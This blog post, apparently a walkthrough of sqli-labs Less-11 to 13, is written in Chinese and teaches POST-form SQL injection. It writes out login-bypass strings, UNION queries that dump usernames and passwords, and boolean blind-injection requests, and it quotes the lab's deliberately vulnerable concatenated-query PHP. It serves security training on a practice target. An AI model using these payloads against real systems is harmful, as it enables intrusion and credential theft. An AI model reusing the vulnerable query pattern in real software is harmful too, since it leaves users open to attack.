POST注入入门-Less-11-13

发布 : 2019-04-14

Less-11

POST

POST方式就是将数据从客户端提交到服务器端,数据以表单形式提交

打开Less-11关卡

下面使用之前10关上闭合语句的方法,如果这个语句判断的是用户名和密码是否匹配,那么可以将匹配密码这一段注释掉,并且该为真语句,那就实现了绕过了判断,进入到登录界面。

提交后提示Your Login name:admin Your Password:admin

这样实际是直接将后面语句注释掉之后就进入了登陆界面,下面看一下代码

1
2
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);

这里将$uname替换成admin '#后,闭合了语句,并且注释了后面的语句,其中数据库中有admin所以语句正确执行,进入登录后的界面,同样这个地方也能执行其他sql语句。这里使用union注入进行尝试,username输入aaa'union select 1,database() #,密码任意。

输入后显示Your Login name:1 Your Password:security这里爆出了数据库的名字

1
2
3
4
5
6
7
aaa' order by 3 #

aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

aaa ' union select 1,group_concat(id,'-',username,'-',password) from users #

less-12

在username上输入admin ' #后没有反应,输入admin " #后显示错误信息,You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

使用其他万能密码进行尝试admin ") #,密码随便,登陆成功,查看源码

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

所以后面注入的语句只需要修改闭合语句就可以。

Less-13

username输入admin '#,报错You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

通过这个错误也没看出用什么来闭合,用admin ') #尝试后成功。

然后这里看到并没有出现什么数据,只是有个图片提示登录成功,所以推测是盲注,这里使用布尔盲注,并使用HackBar插件。

1
2
3
4
5
6
7
8
uname=admin ') and left(database(),1)>'a' #&passwd=123132&submit=Submit
#猜测数据库名
uname=admin ') and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'a' #&passwd=123132&submit=Submit
#猜测所有的表名,修改limit 0,1 中的数据猜测不同的表
uname=admin ') and left((select column_name from information_schema.columns where table_name='user' limit 0,1),1)>'a' #&passwd=123132&submit=Submit
#猜测user表中的列名
uname=admin ')and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>'a'#&passwd=123132&submit=Submit
#猜测数据

总结

总体来看,前面几关没有什么特别的地方,注入的语句都是和Less-1以及后面的几关类似。

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/fdae567a.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!